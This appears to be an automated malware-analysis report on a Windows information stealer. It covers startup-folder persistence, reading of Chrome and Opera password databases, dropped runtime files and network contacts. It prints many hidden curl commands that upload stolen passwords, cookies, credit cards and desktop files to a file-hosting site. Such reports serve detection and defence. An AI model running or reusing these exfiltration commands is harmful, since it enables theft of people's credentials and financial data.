Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.exe
Malicious functions
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
Modifies file system
Creates the following files
- %TEMP%\_mei50282\crypto\cipher\_arc4.pyd
- %TEMP%\_mei50282\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei50282\charset_normalizer\md.cp310-win_amd64.pyd
- %TEMP%\_mei50282\charset_normalizer\md__mypyc.cp310-win_amd64.pyd
- %TEMP%\_mei50282\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei50282\libcrypto-1_1.dll
- %TEMP%\_mei50282\libffi-7.dll
- %TEMP%\_mei50282\libssl-1_1.dll
- %TEMP%\_mei50282\mfc140u.dll
- %TEMP%\_mei50282\pyexpat.pyd
- %TEMP%\_mei50282\python3.dll
- %TEMP%\_mei50282\python310.dll
- %TEMP%\_mei50282\pywin32_system32\pythoncom310.dll
- %TEMP%\_mei50282\pywin32_system32\pywintypes310.dll
- %TEMP%\_mei50282\select.pyd
- %TEMP%\_mei50282\sqlite3.dll
- %TEMP%\_mei50282\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei50282\ucrtbase.dll
- %TEMP%\_mei50282\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei50282\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei50282\setuptools-65.5.0.dist-info\record
- %LOCALAPPDATA%\tempcrppplkgmq.db
- %TEMP%\_mei50282\win32com\shell\shell.pyd
- %TEMP%\_mei50282\setuptools-65.5.0.dist-info\top_level.txt
- %TEMP%\_mei50282\wheel-0.40.0.dist-info\installer
- %TEMP%\_mei50282\wheel-0.40.0.dist-info\license.txt
- %TEMP%\_mei50282\wheel-0.40.0.dist-info\metadata
- %TEMP%\_mei50282\wheel-0.40.0.dist-info\record
- %TEMP%\_mei50282\wheel-0.40.0.dist-info\wheel
- %TEMP%\_mei50282\wheel-0.40.0.dist-info\entry_points.txt
- %TEMP%\5xqol_e_
- %LOCALAPPDATA%\tempcrrlbwmmgn.db
- %LOCALAPPDATA%\tempcrykjchvcd.db
- %LOCALAPPDATA%\tempcrwyyjuxhb.db
- %LOCALAPPDATA%\tempcrigznlgil.db
- %LOCALAPPDATA%\tempcrbbclbxbi.db
- %LOCALAPPDATA%\tempcrimuhgegt.db
- %TEMP%\crhistory.txt
- %TEMP%\_mei50282\setuptools-65.5.0.dist-info\entry_points.txt
- %TEMP%\_mei50282\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei50282\setuptools-65.5.0.dist-info\wheel
- %TEMP%\_mei50282\setuptools-65.5.0.dist-info\metadata
- %TEMP%\_mei50282\win32trace.pyd
- %TEMP%\_mei50282\win32ui.pyd
- %TEMP%\_mei50282\base_library.zip
- %TEMP%\_mei50282\certifi\cacert.pem
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\installer
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\license
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\license.apache
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\license.bsd
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\license.psf
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\metadata
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\record
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\wheel
- %TEMP%\_mei50282\cryptography-40.0.2.dist-info\top_level.txt
- %TEMP%\_mei50282\setuptools-65.5.0.dist-info\installer
- %TEMP%\_mei50282\setuptools-65.5.0.dist-info\license
- %TEMP%\_mei50282\unicodedata.pyd
- %TEMP%\_mei50282\win32api.pyd
- %TEMP%\_mei50282\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei50282\crypto\publickey\_ed448.pyd
- %TEMP%\_mei50282\crypto\hash\_md2.pyd
- %TEMP%\_mei50282\crypto\hash\_md4.pyd
- %TEMP%\_mei50282\crypto\hash\_md5.pyd
- %TEMP%\_mei50282\crypto\hash\_ripemd160.pyd
- %TEMP%\_mei50282\crypto\hash\_sha1.pyd
- %TEMP%\_mei50282\crypto\hash\_sha224.pyd
- %TEMP%\_mei50282\crypto\hash\_sha256.pyd
- %TEMP%\_mei50282\crypto\hash\_sha384.pyd
- %TEMP%\_mei50282\crypto\hash\_sha512.pyd
- %TEMP%\_mei50282\crypto\hash\_ghash_clmul.pyd
- %TEMP%\_mei50282\crypto\hash\_ghash_portable.pyd
- %TEMP%\_mei50282\crypto\hash\_keccak.pyd
- %TEMP%\_mei50282\crypto\hash\_poly1305.pyd
- %TEMP%\_mei50282\crypto\math\_modexp.pyd
- %TEMP%\_mei50282\crypto\protocol\_scrypt.pyd
- %TEMP%\_mei50282\crypto\hash\_blake2s.pyd
- %TEMP%\_mei50282\crypto\publickey\_ec_ws.pyd
- %TEMP%\_mei50282\crypto\hash\_blake2b.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_ocb.pyd
- %TEMP%\_mei50282\crypto\cipher\_salsa20.pyd
- %TEMP%\_mei50282\crypto\cipher\_chacha20.pyd
- %TEMP%\_mei50282\crypto\cipher\_pkcs1_decode.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_aes.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_aesni.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_arc2.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_blowfish.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_cast.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_cbc.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_cfb.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_ctr.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_des.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_des3.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_ecb.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_eksblowfish.pyd
- %TEMP%\_mei50282\crypto\cipher\_raw_ofb.pyd
- %TEMP%\_mei50282\_ssl.pyd
- %TEMP%\_mei50282\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei50282\crypto\publickey\_x25519.pyd
- %TEMP%\_mei50282\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei50282\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei50282\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei50282\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei50282\_win32sysloader.pyd
- %TEMP%\_mei50282\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei50282\_uuid.pyd
- %TEMP%\_mei50282\_sqlite3.pyd
- %TEMP%\_mei50282\crypto\util\_cpuid_c.pyd
- %TEMP%\_mei50282\crypto\util\_strxor.pyd
- %TEMP%\_mei50282\vcruntime140.dll
- %TEMP%\_mei50282\vcruntime140_1.dll
- %TEMP%\_mei50282\_asyncio.pyd
- %TEMP%\_mei50282\_bz2.pyd
- %TEMP%\_mei50282\_cffi_backend.cp310-win_amd64.pyd
- %TEMP%\_mei50282\_ctypes.pyd
- %TEMP%\_mei50282\_decimal.pyd
- %TEMP%\_mei50282\_hashlib.pyd
- %TEMP%\_mei50282\_lzma.pyd
- %TEMP%\_mei50282\_multiprocessing.pyd
- %TEMP%\_mei50282\_overlapped.pyd
- %TEMP%\_mei50282\_queue.pyd
- %TEMP%\_mei50282\_socket.pyd
- %TEMP%\_mei50282\crypto\publickey\_ed25519.pyd
- %LOCALAPPDATA%\tempcrtojgpqvi.db
Network activity
Connects to
- 'ap#.#pify.org':443
- 'ap#.#ofile.io':443
- 'ge####ation-db.com':443
- 'st####.gofile.io':443
- 'x1.#.lencr.org':80
- 'r3.#.lencr.org':80
- 'pt#.#iscord.com':443
TCP
HTTP GET requests
- http://x1.#.lencr.org/
- http://r3.#.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRI2smg%2ByvTLU%2Fw3mjS9We3NfmzxAQUFC6zF7dYVsuuUAlA5h%2BvnYsUwsYCEgR%2BK3BWYQGKFivzodqw8AYNkw%3D%3D
Other
- 'ap#.#pify.org':443
- 'ap#.#ofile.io':443
- 'ge####ation-db.com':443
- 'st####.gofile.io':443
- 'pt#.#iscord.com':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ap#.#ofile.io
- DNS ASK ge####ation-db.com
- DNS ASK st####.gofile.io
- DNS ASK x1.#.lencr.org
- DNS ASK r3.#.lencr.org
- DNS ASK pt#.#iscord.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "ver"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tasklist"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crpasswords.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcookies.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcreditcards.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crautofills.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crhistories.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crbookmarks.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%HOMEPATH%/Desktop/64bit_notes.htm" https://store4.gofile.io/uploadFile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%HOMEPATH%/Desktop/notepad.exe" https://store4.gofile.io/uploadFile"' (with hidden window)
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "ver"
- '<SYSTEM32>\curl.exe' -F "file=@%HOMEPATH%/Desktop/64bit_notes.htm" https://store4.gofile.io/uploadFile
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%HOMEPATH%/Desktop/64bit_notes.htm" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crbookmarks.txt" https://store4.gofile.io/uploadFile
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crbookmarks.txt" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crhistories.txt" https://store4.gofile.io/uploadFile
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crhistories.txt" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crautofills.txt" https://store4.gofile.io/uploadFile
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%HOMEPATH%/Desktop/notepad.exe" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crautofills.txt" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcreditcards.txt" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crcookies.txt" https://store4.gofile.io/uploadFile
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcookies.txt" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crpasswords.txt" https://store4.gofile.io/uploadFile
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crpasswords.txt" https://store4.gofile.io/uploadFile"
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /c "tasklist"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crcreditcards.txt" https://store4.gofile.io/uploadFile
- '<SYSTEM32>\curl.exe' -F "file=@%HOMEPATH%/Desktop/notepad.exe" https://store4.gofile.io/uploadFile
